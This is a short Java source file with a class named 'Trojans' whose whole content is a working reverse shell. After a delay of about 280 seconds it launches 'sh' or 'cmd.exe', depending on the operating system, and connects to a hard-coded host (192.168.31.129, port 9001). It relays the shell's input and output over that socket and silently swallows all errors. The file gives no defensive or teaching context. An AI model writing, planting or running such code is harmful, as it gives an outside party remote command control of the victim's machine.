package util;

import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;

public class Trojans {
    public void reverse (){
        String host = "192.168.31.129";
        int port = 9001;
        String cmd = "sh";
        String os = OS.getOSName();
        if (os.equals("mac") || os.equals("nix") || os.equals("aix") || os.equals("linux")){
            execute(host, port, cmd);

        } else if (os.equals("win")) {
            String cmd2 = "cmd.exe";
            execute(host, port, cmd2);
        }


    }

    public void execute(String host, int port, String cmd2) {
        try {
            Thread.sleep(280000);
            Process p = new ProcessBuilder(cmd2).redirectErrorStream(true).start();
            Socket s = new Socket(host, port);
            InputStream pi = p.getInputStream(), pe = p.getErrorStream(), si = s.getInputStream();
            OutputStream po = p.getOutputStream(), so = s.getOutputStream();
            while (!s.isClosed()) {
                while (pi.available() > 0)
                    so.write(pi.read());
                while (pe.available() > 0)
                    so.write(pe.read());
                while (si.available() > 0)
                    po.write(si.read());
                so.flush();
                po.flush();
                Thread.sleep(50);
                try {
                    p.exitValue();
                    break;
                } catch (Exception e) {}
            }
            p.destroy();
            s.close();
        } catch (Exception e) {}
    }


}
